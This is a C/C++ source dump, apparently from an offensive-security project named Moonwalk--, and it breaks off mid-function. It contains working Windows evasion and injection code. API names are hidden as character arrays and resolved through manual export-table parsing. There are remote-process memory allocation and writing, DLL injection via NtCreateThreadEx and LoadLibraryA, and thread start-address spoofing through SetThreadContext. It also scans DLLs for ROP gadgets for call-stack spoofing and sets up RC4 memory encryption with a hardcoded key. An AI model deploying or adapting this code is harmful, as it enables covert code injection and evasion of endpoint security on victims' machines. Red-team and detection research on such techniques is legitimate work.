333 | ordinalTable += sizeof(WORD);
334 | }
335 | }
336 |
337 | return symbolAddress;
338 | }
339 |
340 | UINT64 GetSymbolOffset(HMODULE hModule, LPCSTR lpProcName) {
341 | UINT64 dllAddress = (UINT64)hModule,
342 | symbolAddress = 0,
343 | exportedAddressTable = 0,
344 | namePointerTable = 0,
345 | ordinalTable = 0;
346 |
347 | if (hModule == NULL) {
348 | return 0;
349 | }
350 |
351 | PIMAGE_NT_HEADERS ntHeaders = NULL;
352 | PIMAGE_DATA_DIRECTORY dataDirectory = NULL;
353 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;
354 |
355 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);
356 | dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
357 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress);
358 |
359 | exportedAddressTable = (dllAddress + exportDirectory->AddressOfFunctions);
360 | namePointerTable = (dllAddress + exportDirectory->AddressOfNames);
361 | ordinalTable = (dllAddress + exportDirectory->AddressOfNameOrdinals);
362 |
363 | if (((UINT64)lpProcName & 0xFFFF0000) == 0x00000000) {
364 | exportedAddressTable += ((IMAGE_ORDINAL((UINT64)lpProcName) - exportDirectory->Base) * sizeof(DWORD));
365 | symbolAddress = (UINT64)DEREF_32(exportedAddressTable);
366 | }
367 | else {
368 | DWORD dwCounter = exportDirectory->NumberOfNames;
369 | while (dwCounter--) {
370 | char* cpExportedFunctionName = (char*)(dllAddress + DEREF_32(namePointerTable));
371 | if (my_strcmp(cpExportedFunctionName, lpProcName) == 0) {
372 | exportedAddressTable += (DEREF_16(ordinalTable) * sizeof(DWORD));
373 | symbolAddress = (UINT64)DEREF_32(exportedAddressTable);
374 | break;
375 | }
376 | namePointerTable += sizeof(DWORD);
377 | ordinalTable += sizeof(WORD);
378 | }
379 | }
380 |
381 | return symbolAddress;
382 | }
383 |
384 | char* GetSymbolNameByOffset(HMODULE hModule, UINT64 offset) {
385 | UINT64 dllAddress = (UINT64)hModule,
386 | symbolAddress = 0;
387 |
388 | if (hModule == NULL) {
389 | return 0;
390 | }
391 |
392 | PIMAGE_NT_HEADERS ntHeaders = NULL;
393 | PIMAGE_DATA_DIRECTORY dataDirectory = NULL;
394 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;
395 |
396 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);
397 | dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
398 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress);
399 |
400 | LPDWORD exportedAddressTable = (LPDWORD)(dllAddress + exportDirectory->AddressOfFunctions);
401 | LPDWORD namePointerTable = (LPDWORD)(dllAddress + exportDirectory->AddressOfNames);
402 | LPWORD ordinalTable = (LPWORD)(dllAddress + exportDirectory->AddressOfNameOrdinals);
403 |
404 | char* currProcName;
405 |
406 | for (SIZE_T i = 0; i < exportDirectory->NumberOfNames; i++) {
407 | // Get current function name
408 | currProcName = (LPSTR)((LPBYTE)hModule + namePointerTable[i]);
409 |
410 | // Get current function address
411 | if (exportedAddressTable[ordinalTable[i]] == offset) {
412 | return currProcName;
413 | }
414 |
415 | }
416 |
417 | return NULL;
418 | }
419 |
420 |
421 | PVOID GetExceptionDirectoryAddress(HMODULE hModule, DWORD* tSize)
422 | {
423 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
424 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)hModule + dosHeader->e_lfanew);
425 | DWORD64 exceptionDirectoryRVA = ntHeader->OptionalHeader.DataDirectory[3].VirtualAddress;
426 | *tSize = ntHeader->OptionalHeader.DataDirectory[3].Size;
427 | DWORD64 imageExceptionDirectory = (DWORD64)((DWORD_PTR)hModule + exceptionDirectoryRVA);
428 | return (PVOID)imageExceptionDirectory;
429 |
430 | }
431 |
432 | PVOID GetExportDirectoryAddress(HMODULE hModule)
433 | {
434 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
435 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)hModule + dosHeader->e_lfanew);
436 | DWORD_PTR exportDirectoryRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
437 | DWORD64 imageExportDirectory = (DWORD64)((DWORD_PTR)hModule + exportDirectoryRVA);
438 |
439 | return (PVOID)imageExportDirectory;
440 | }
441 |
442 | HANDLE PICGetProcessHeap() {
443 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH);
444 | GetProcessHeapType GetProcessHeapFp;
445 | CHAR GetProcessHeapName[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 'H', 'e', 'a', 'p', '\0' };
446 | GetProcessHeapFp = (GetProcessHeapType)GetProcAddress(hModule, GetProcessHeapName);
447 | return GetProcessHeapFp();
448 | }
449 |
450 | PVOID PICHeapAlloc(SIZE_T nBytes) {
451 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH);
452 | HeapAllocType HeapAllocFp;
453 | CHAR HeapAllocName[] = { 'H', 'e', 'a', 'p', 'A', 'l', 'l', 'o', 'c', '\0' };
454 | HeapAllocFp = (HeapAllocType)GetProcAddress(hModule, HeapAllocName);
455 |
456 | return HeapAllocFp(PICGetProcessHeap(), 0, nBytes);
457 |
458 |
459 | }
460 | BOOL PICHeapFree(LPVOID mem) {
461 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH);
462 | HeapFreeType HeapFreeFp;
463 | CHAR HeapFreeName[] = { 'H', 'e', 'a', 'p', 'F', 'r', 'e', 'e', '\0' };
464 | HeapFreeFp = (HeapFreeType)GetProcAddress(hModule, HeapFreeName);
465 | return HeapFreeFp(PICGetProcessHeap(), 0, mem);
466 | }
467 |
468 | PVOID PICHeapRealloc(LPVOID mem, SIZE_T nBytes) {
469 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH);
470 | HeapReAllocType HeapReAllocFp;
471 | CHAR HeapReAllocName[] = { 'H', 'e', 'a', 'p', 'R', 'e', 'A', 'l', 'l', 'o', 'c', '\0' };
472 | HeapReAllocFp = (HeapReAllocType)GetProcAddress(hModule, HeapReAllocName);
473 |
474 | return HeapReAllocFp(PICGetProcessHeap(), 0, mem, nBytes);
475 |
476 | }
477 |
478 | BOOL PICVirtualFree(LPVOID lpBaseAddress) {
479 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH);
480 |
481 | CHAR VirtualFreeName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', '\0' };
482 | VirtualFreeType VirtualFreeFp;
483 | VirtualFreeFp = (VirtualFreeType)GetSymbolAddress(hModule, VirtualFreeName);
484 |
485 | return VirtualFreeFp(lpBaseAddress, 0, MEM_RELEASE);
486 |
487 | }
488 |
489 | PVOID PICVirtualAlloc(SIZE_T dwSize, DWORD protection) {
490 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH);
491 |
492 | CHAR VirtualAllocName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' };
493 | VirtualAllocType VirtualAllocFp;
494 | VirtualAllocFp = (VirtualAllocType)GetSymbolAddress(hModule, VirtualAllocName);
495 |
496 | return VirtualAllocFp(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, protection);
497 |
498 | }
499 |
500 | PVOID PICVirtualAllocEx(HANDLE pHandle, SIZE_T dwSize, DWORD protection) {
501 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH);
502 |
503 | CHAR VirtualAllocExName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x', '\0' };
504 | VirtualAllocExType VirtualAllocFp;
505 | VirtualAllocFp = (VirtualAllocExType)GetSymbolAddress(hModule, VirtualAllocExName);
506 |
507 | return VirtualAllocFp(pHandle, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, protection);
508 |
509 | }
510 |
511 | BOOL PICVirtualProtectEx(HANDLE pHandle, LPVOID lpBaseAddress, SIZE_T dwSize, DWORD protection) {
512 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH);
513 |
514 | CHAR VirtualProtectExName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 'E', 'x', '\0' };
515 | VirtualProtectExType VirtualProtectFp;
516 | VirtualProtectFp = (VirtualProtectExType)GetSymbolAddress(hModule, VirtualProtectExName);
517 | DWORD oldProtection;
518 | return VirtualProtectFp(pHandle, lpBaseAddress, dwSize, protection, &oldProtection);
519 |
520 | }
521 |
522 |
523 | PVOID PICCreateThread(LPVOID lpStartAddress, LPVOID fakeStartAddress, LPVOID lpParameter) {
524 | CONTEXT ctx;
525 | BOOL ctxRet = FALSE;
526 |
527 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH);
528 | HMODULE ntModule = (HMODULE)GetModule(NTDLL_HASH);
529 |
530 | CHAR CreateThreadName[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x', '\0' };
531 | CHAR GetThreadContextName[] = { 'G', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' };
532 | CHAR SetThreadContextName[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' };
533 | CHAR ResumeThreadName[] = { 'R', 'e', 's', 'u', 'm', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
534 |
535 | NtCreateThreadExType NtCreateThreadExFp;
536 | GetThreadContextType GetThreadContextFp;
537 | SetThreadContextType SetThreadContextFp;
538 | ResumeThreadType ResumeThreadFp;
539 |
540 | ctx.ContextFlags = CONTEXT_ALL;
541 |
542 | NtCreateThreadExFp = (NtCreateThreadExType)GetSymbolAddress(ntModule, CreateThreadName);
543 |
544 | GetThreadContextFp = (GetThreadContextType)GetSymbolAddress(kbModule, GetThreadContextName);
545 | SetThreadContextFp = (SetThreadContextType)GetSymbolAddress(kbModule, SetThreadContextName);
546 | ResumeThreadFp = (ResumeThreadType)GetSymbolAddress(kbModule, ResumeThreadName);
547 |
548 | HANDLE hThread = INVALID_HANDLE_VALUE;
549 |
550 | NTSTATUS status = NtCreateThreadExFp(&hThread, THREAD_ALL_ACCESS, 0, (HANDLE)-1, (LPTHREAD_START_ROUTINE)fakeStartAddress /* Start address */, 0, 0x1 /* Suspended */, 0, 0, 0, 0);
551 |
552 | // __debugbreak();
553 | ctxRet = GetThreadContextFp(hThread, &ctx);
554 | if (!ctxRet) {
555 | return NULL;
556 | }
557 |
558 | ctx.Rcx = (DWORD64)lpStartAddress;
559 | ctx.R9 = (DWORD64)lpParameter;
560 |
561 | ctxRet = SetThreadContextFp(hThread, &ctx);
562 | if (!ctxRet) {
563 | return NULL;
564 | }
565 |
566 | ResumeThreadFp(hThread);
567 |
568 | return (PVOID)hThread;
569 | }
570 |
571 | HANDLE PICOpenProcess(DWORD pPid) {
572 |
573 | HANDLE hProcess = (HANDLE)-1;
574 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH);
575 | OpenProcessType OpenProcessFp;
576 | CHAR OpenProcessName[] = { 'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', '\0' };
577 | OpenProcessFp = (OpenProcessType)GetSymbolAddress(kbModule, OpenProcessName);
578 | hProcess = OpenProcessFp(PROCESS_ALL_ACCESS|PROCESS_VM_OPERATION, FALSE, pPid);
579 | return hProcess;
580 | }
581 |
582 | SIZE_T PICCopyMemory(HANDLE pHandle, LPVOID lpAddress, LPCVOID lpBuffer, SIZE_T dwSize) {
583 |
584 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH);
585 | WriteProcessMemoryType WriteProcessMemoryFp;
586 | CHAR WriteProcessMemoryName[] = { 'W', 'r', 'i', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
587 | WriteProcessMemoryFp = (WriteProcessMemoryType)GetProcAddress(kbModule, WriteProcessMemoryName);
588 | SIZE_T bytesWritten;
589 | WriteProcessMemoryFp(pHandle, lpAddress, lpBuffer, dwSize, &bytesWritten);
590 |
591 | return bytesWritten;
592 | }
593 |
594 | PVOID PICInjectDllProcess(HANDLE hProcess, LPVOID lpLibraryNameAddress) {
595 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH);
596 | HMODULE ntModule = (HMODULE)GetModule(NTDLL_HASH);
597 | HANDLE hThread = INVALID_HANDLE_VALUE;
598 |
599 | CHAR CreateThreadName[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x', '\0' };
600 | CHAR LoadLibraryAName[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
601 |
602 | NtCreateThreadExType NtCreateThreadExFp;
603 | LoadLibraryAType LoadLibraryAFp;
604 |
605 | NtCreateThreadExFp = (NtCreateThreadExType)GetSymbolAddress(ntModule, CreateThreadName);
606 | LoadLibraryAFp = (LoadLibraryAType)GetSymbolAddress(kbModule, LoadLibraryAName);
607 |
608 | NTSTATUS status = NtCreateThreadExFp(
609 | &hThread, THREAD_ALL_ACCESS, 0, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryAFp /* Start address */, (LPVOID)lpLibraryNameAddress, FALSE, 0, 0, 0, 0
610 | );
611 |
612 | return (PVOID)hThread;
613 | }
614 |
615 | PVOID PICCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID fakeStartAddress, LPVOID lpParameter) {
616 | CONTEXT ctx;
617 | BOOL ctxRet = FALSE;
618 |
619 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH);
620 | HMODULE ntModule = (HMODULE)GetModule(NTDLL_HASH);
621 |
622 | CHAR CreateThreadName [] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x', '\0' };
623 | CHAR GetThreadContextName[] = { 'G', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' };
624 | CHAR SetThreadContextName[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' };
625 | CHAR ResumeThreadName [] = { 'R', 'e', 's', 'u', 'm', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
626 |
627 | NtCreateThreadExType NtCreateThreadExFp;
628 | GetThreadContextType GetThreadContextFp;
629 | SetThreadContextType SetThreadContextFp;
630 | ResumeThreadType ResumeThreadFp;
631 |
632 | ctx.ContextFlags = CONTEXT_ALL;
633 |
634 | NtCreateThreadExFp = (NtCreateThreadExType)GetSymbolAddress(ntModule, CreateThreadName);
635 |
636 | GetThreadContextFp = (GetThreadContextType)GetSymbolAddress(kbModule, GetThreadContextName);
637 | SetThreadContextFp = (SetThreadContextType)GetSymbolAddress(kbModule, SetThreadContextName);
638 | ResumeThreadFp = (ResumeThreadType)GetSymbolAddress(kbModule, ResumeThreadName);
639 |
640 | HANDLE hThread = INVALID_HANDLE_VALUE;
641 |
642 | NTSTATUS status = NtCreateThreadExFp(&hThread, THREAD_ALL_ACCESS, 0, hProcess, (LPTHREAD_START_ROUTINE)fakeStartAddress /* Start address */, 0, 0x1 /* Suspended */, 0, 0, 0, 0);
643 |
644 | // __debugbreak();
645 | ctxRet = GetThreadContextFp(hThread, &ctx);
646 | if (!ctxRet) {
647 | return NULL;
648 | }
649 |
650 | ctx.Rcx = (DWORD64)lpStartAddress;
651 | ctx.R15 = (DWORD64)lpParameter;
652 |
653 | ctxRet = SetThreadContextFp(hThread, &ctx);
654 | if (!ctxRet) {
655 | return NULL;
656 | }
657 |
658 | ResumeThreadFp(hThread);
659 |
660 | return (PVOID)hThread;
661 | }
662 |
663 | BOOL PICTerminateThread(HANDLE hThread) {
664 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH);
665 |
666 | CHAR TerminateThreadName[] = { 'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
667 | TerminateThreadType TerminateThreadFp;
668 | TerminateThreadFp = (TerminateThreadType)GetProcAddress(hModule, TerminateThreadName);
669 |
670 | return TerminateThreadFp(hThread, 0);
671 |
672 | }
673 |
674 |
675 | int atoi(char* str)
676 | {
677 | // Initialize result
678 | int res = 0;
679 | int start_index = 0;
680 | // Iterate through all characters
681 | // of input string and update result
682 | // take ASCII character of corresponding digit and
683 | // subtract the code from '0' to get numerical
684 | // value and multiply res by 10 to shuffle
685 | // digits left to update running total
686 | for (int i = 0; str[i] != '\0'; i++)
687 | if ((str[i] == ' ') || (str[i] == '\0')){
688 | start_index = i + 1;
689 | break;
690 | }
691 |
692 | for (int i = start_index; str[i] != '\0'; ++i){
693 | if ((str[i] == '0') || (str[i] == '1') || (str[i] == '2') || (str[i] == '3') || (str[i] == '4') || (str[i] == '5') || (str[i] == '6') || (str[i] == '7') || (str[i] == '8') || (str[i] == '9')){
694 | res = res * 10 + str[i] - '0';
695 | }
696 | }
697 |
698 | // return result.
699 | return res;
700 | }
701 |
702 |
--------------------------------------------------------------------------------
/Moonwalk--/Moonlight.cpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "include/Common.h"
3 | #include "include/Functions.h"
4 | #include "include/Spoof.h"
5 | #include
6 |
7 |
8 | // Define is output needs to be shown, you can disable it in "Common.h", to avoid _vsprinf symobol
9 | #ifndef _OUTPUT
10 | #define _OUTPUT 1
11 | #endif // !_OUTPUT
12 |
13 | // Define the target function
14 | // 0: Sleep
15 | // 1: MessageBox
16 | // 2: ShellExecuteA
17 | // 3: CreateProcessA
18 |
19 | #define TARGET 1
20 |
21 | #define SPOOF_CALL spoof_call
22 |
23 | #define RESEARCH 0
24 |
25 | #pragma intrinsic(_ReturnAddress)
26 | #if (RESEARCH == 1)
27 | #pragma comment(linker, "/ENTRY:research_main")
28 | #else
29 | #pragma comment(linker, "/ENTRY:main_main")
30 | #endif
31 |
32 |
33 | PSPOOFER sConfig;
34 | PVOID returnAddress;
35 | PVOID startAddress;
36 |
37 | VOID FindSuitableChain();
38 | BOOL CheckForGadget(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize, PDWORD skip, DWORD gadgetType);
39 | BOOL FindCallOffset(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD pdwCallOffset, PUINT64 pCalledFunctionAddress, PDWORD skip);
40 | BOOL CheckPushRbp(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize);
41 |
42 | // Entry Point
43 | void research_main() {
44 | FindSuitableChain();
45 |
46 | }
47 |
48 | void main_main(int argc, char* argv[]) {
49 | PERF pRuntimeFunctionTable;
50 | PERF pRuntimeFunctionTableNotepad;
51 | PERF pRuntimeFunctionTableWininet;
52 | DWORD runtimeFunctionTableSize;
53 | DWORD runtimeFunctionTableSizeNotepad;
54 | DWORD runtimeFunctionTableSizeWininet;
55 | DWORD rtSaveIndex;
56 | DWORD rtLastIndex;
57 | DWORD rtSaveIndexWininet;
58 | DWORD rtLastIndexWininet;
59 | DWORD rtLastIndexNotepad;
60 | DWORD rtSaveIndexNotepad;
61 | DWORD stackSize;
62 | DWORD stackOffsetWhereRbpIsPushed;
63 | DWORD64 rtTargetOffset;
64 | DWORD64 rtTargetOffsetNotepad;
65 | HMODULE kernel32Base;
66 | HMODULE kernelBase;
67 | HMODULE ntdllBase;
68 | BOOL status;
69 | BOOL checkpoint;
70 | HMODULE msvcrt;
71 | HMODULE user32;
72 | HMODULE shell32;
73 | HMODULE cryptsp;
74 | HMODULE wininet;
75 | HMODULE processImage;
76 | HANDLE pHandle;
77 | DWORD addRspGadget;
78 | DWORD skip_jmp_gadget = 0;
79 | DWORD skip_stack_pivot_gadget = 0;
80 | DWORD skip_prolog_frame = 0;
81 | DWORD skip_pop_rsp_frame = 0;
82 | DWORD pPid = 0;
83 | // Needed for ensuring target modules are loaded
84 | DLL mainModule = { 0 };
85 | LoadLibraryAType LoadLibraryAFp;
86 | SleepType SleepFp;
87 | KillProcType TerminateProcessFp;
88 |
89 | CHAR LoadLibraryAName[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
90 | CHAR SleepName[] = { 'S', 'l', 'e', 'e', 'p', '\0' };
91 | CHAR TerminateProcessName[] = { 'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', '\0' };
92 | CHAR VirtualProtectName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', '\0' };
93 | CHAR SystemFunctionName[] = { 'S', 'y', 's', 't', 'e', 'm', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', '0', '3', '2', '\0' };
94 | // Target Libraries
95 | CHAR User32Name[] = { 'U', 's', 'e', 'r', '3', '2', '\0' };
96 | CHAR MsvCRTName[] = { 'm', 's', 'v', 'c', 'r', 't', '\0' };
97 | CHAR Shell32Name[] = { 'S', 'h', 'e', 'l', 'l', '3', '2', '\0' };
98 | CHAR CryptspName[] = { 'c', 'r', 'y', 'p', 't', 's', 'p', '\0' };
99 |
100 | // Pseudo-Seed
101 | unsigned long int seed;
102 |
103 | ntdllBase = (HMODULE)GetModule(NTDLL_HASH);
104 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH);
105 | kernel32Base = (HMODULE)GetModule(KERNEL32DLL_HASH);
106 | wininet = LoadLibraryA("Wininet");
107 | processImage = LoadLibraryA("C:\\Program Files\\Microsoft OneDrive\\OneDrive.exe");
108 |
109 | pRuntimeFunctionTable = (PERF)(GetExceptionDirectoryAddress(kernelBase, &runtimeFunctionTableSize));
110 | rtLastIndex = (DWORD)(runtimeFunctionTableSize/12);
111 | pRuntimeFunctionTableWininet = (PERF)(GetExceptionDirectoryAddress(wininet, &runtimeFunctionTableSizeWininet));
112 | rtLastIndexWininet = (DWORD)(runtimeFunctionTableSizeWininet /12);
113 | pRuntimeFunctionTableNotepad = (PERF)(GetExceptionDirectoryAddress(processImage, &runtimeFunctionTableSizeNotepad));
114 | rtLastIndexNotepad = (DWORD)(runtimeFunctionTableSizeNotepad/12);
115 | rtSaveIndex = 0;
116 | rtSaveIndexNotepad = 0;
117 | rtSaveIndexWininet = 0;
118 | stackSize = 0;
119 | rtTargetOffset = 0;
120 | rtTargetOffsetNotepad = 0;
121 | status = 0;
122 | checkpoint = 0;
123 | addRspGadget = ADD_RSP_0x38;
124 |
125 | LPSTR cmdline = GetCommandLineA();
126 | printf("[+] CLI: %s\n", cmdline);
127 | pPid = atoi(cmdline);
128 | printf("[+] PID: %d\n", pPid);
129 | pHandle = PICOpenProcess(pPid);
130 |
131 | PVOID remoteNotepad = (PVOID) GetRemoteImageBase(pPid);
132 |
133 |
134 | if (NULL == pHandle) {
135 | printf("[-] Failed to open process\n");
136 | return;
137 | }
138 |
139 | // Load LoadLibraryA to load additional modules
140 | LoadLibraryAFp = (LoadLibraryAType)GetSymbolAddress(kernel32Base, LoadLibraryAName);
141 | SleepFp = (SleepType)GetSymbolAddress(kernel32Base, SleepName);
142 | TerminateProcessFp = (KillProcType)GetSymbolAddress(kernel32Base, TerminateProcessName);
143 | // Load msvcrt (for getchar)
144 | msvcrt = LoadLibraryAFp((LPCSTR)MsvCRTName);
145 | // Load user32 (for MessageBox)
146 | user32 = LoadLibraryAFp((LPCSTR)User32Name);
147 | // Load shell32 (for ShellExecute)
148 | shell32 = LoadLibraryAFp((LPCSTR)Shell32Name);
149 | // Load shell32 (for ShellExecute)
150 | cryptsp = LoadLibraryAFp((LPCSTR)CryptspName);
151 |
152 | // Get main module
153 | GetModuleTextSection(&mainModule);
154 |
155 |
156 | CHAR getcharName[] = { 'g', 'e', 't', 'c', 'h', 'a', 'r', '\0' };
157 | getcharType getcharFp;
158 | getcharFp = (getcharType)GetProcAddress(msvcrt, getcharName);
159 |
160 | // Init Spoofer Configuration
161 |
162 | UCHAR key[] = { 'M', 'y', 'T', 'e', 's', 't', '1', '\0' };
163 |
164 | sConfig = (PSPOOFER)malloc(sizeof(SPOOFER));
165 | custom_memset(sConfig, 0, sizeof(SPOOFER));
166 |
167 | MemCopy(&sConfig->Key, key, sizeof(key));
168 |
169 | sConfig->KeyStruct.MaximumLength = sizeof(key);
170 | sConfig->KeyStruct.Length = sizeof(key);
171 | sConfig->KeyStruct.Buffer = (PUCHAR) &sConfig->Key;
172 |
173 | sConfig->KeyStructPointer = (PVOID)&sConfig->KeyStruct;
174 |
175 | BYTE popRegsPattern[] = { 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3 };
176 | BYTE addRsp0x28Pattern[] = { 0x48, 0x83, 0xc4, 0x28, 0xc3 };
177 | BYTE popRdxPattern[] = { 0x5A, 0xC3 };
178 | BYTE retPattern[] = { 0xC3, 0xCC };
179 | BYTE movRspR11Pattern[] = { 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5d, 0xc3 };
180 | BYTE bigAddRspPattern[] = { 0x48, 0x81, 0xc4, 0xCC, 0xCC, 0xCC, 0xCC, 0xc3 };
181 |
182 |
183 | HMODULE baseDlls[7] = {
184 | kernel32Base,
185 | ntdllBase,
186 | kernelBase,
187 | user32,
188 | msvcrt,
189 | shell32,
190 | cryptsp
191 | };
192 | int dllIndex = 0;
193 | // Save known gadgets
194 | while (sConfig->PopRdxGadget == NULL) {
195 | // Search for the POP RDX gadget in kernel32 and ntdll
196 | if (dllIndex > 6)
197 | break;
198 | SearchGadget(baseDlls[dllIndex], popRdxPattern, sizeof(popRdxPattern), &sConfig->PopRdxGadget, 0);
199 | dllIndex++;
200 | }
201 |
202 | PVOID superAddRspGadget = PICVirtualAllocEx(pHandle, 0x8, PAGE_READWRITE);
203 | printf("Allocated memory: 0x%p\n", superAddRspGadget);
204 |
205 | sConfig->RetGadget = (PVOID)((UINT64)sConfig->PopRdxGadget + 1);
206 |
207 | SearchGadget(ntdllBase, popRegsPattern, sizeof(popRegsPattern), &sConfig->PopRegsGadget, 0);
208 | SearchGadget(ntdllBase, addRsp0x28Pattern, sizeof(addRsp0x28Pattern), &sConfig->AddRsp28Gadget, 0);
209 | SearchGadget(ntdllBase, movRspR11Pattern, sizeof(movRspR11Pattern), &sConfig->MovRspR11Gadget, 0);
210 |
211 | PVOID localGadget;
212 | DWORD imm32 = NULL;
213 | DWORD offset = 0;
214 |
215 | int dllIdx = 0;
216 | while (sConfig->SuperAddRspGadget == NULL) {
217 | while (SearchGadget(baseDlls[dllIdx], bigAddRspPattern, sizeof(bigAddRspPattern), &localGadget, &offset)) {
218 | imm32 = *(DWORD*)((BYTE*)localGadget + 3);
219 |
220 | if (imm32 > MINIMUM_JUMP_SIZE) {
221 | PICCopyMemory(pHandle, superAddRspGadget, &localGadget, 8);
222 | sConfig->SuperAddRspGadget = superAddRspGadget;
223 | sConfig->SuperAddRspGadgetSize = imm32;
224 | break;
225 | }
226 | }
227 | offset = 0;
228 | dllIdx++;
229 | }
230 |
231 | printf("POP RDX Gadget: 0x%I64x\n", sConfig->PopRdxGadget);
232 | printf("RET Gadget: 0x%I64x\n", sConfig->RetGadget);
233 | printf("POP REGS Gadget: 0x%I64x\n", sConfig->PopRegsGadget);
234 | printf("ADD RSP, 28h Gadget: 0x%I64x\n", sConfig->AddRsp28Gadget);
235 | printf("ADD RSP, 0x%04x Gadget: 0x%I64x\n", sConfig->SuperAddRspGadgetSize, sConfig->SuperAddRspGadget);
236 | printf("MOV RSP, R11 Gadget: 0x%I64x\n", sConfig->MovRspR11Gadget);
237 |
238 |
239 | sConfig->SystemFunction032Address = (PVOID)GetSymbolAddress(cryptsp, SystemFunctionName);
240 | sConfig->VirtualProtectAddress = (PVOID)GetSymbolAddress(kernel32Base, VirtualProtectName);
241 |
242 | // Configuring random seed
243 | seed = SEED;
244 |
245 | STARTUPINFO si;
246 | PROCESS_INFORMATION pi;
247 |
248 | // set the size of the structures
249 | custom_memset(&si, 0, sizeof(si));
250 | si.cb = sizeof(si);
251 | custom_memset(&pi, 0, sizeof(pi));
252 |
253 | // Example parameters
254 |
255 | if (TARGET == 0) {
256 | // Config for getchar (No parameter)
257 | CHAR fname[] = {'S', 'l', 'e', 'e', 'p', 'E', 'x', '\0'};
258 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(kernelBase, (LPCSTR)fname);
259 | sConfig->Nargs = 2;
260 | sConfig->Arg01 = (PVOID)((UINT64)1000*500);
261 | sConfig->Arg02 = (PVOID)((UINT64)FALSE);
262 |
263 | }else if (TARGET == 1){
264 | // Config for MessageBox (4 parameters: All registers)
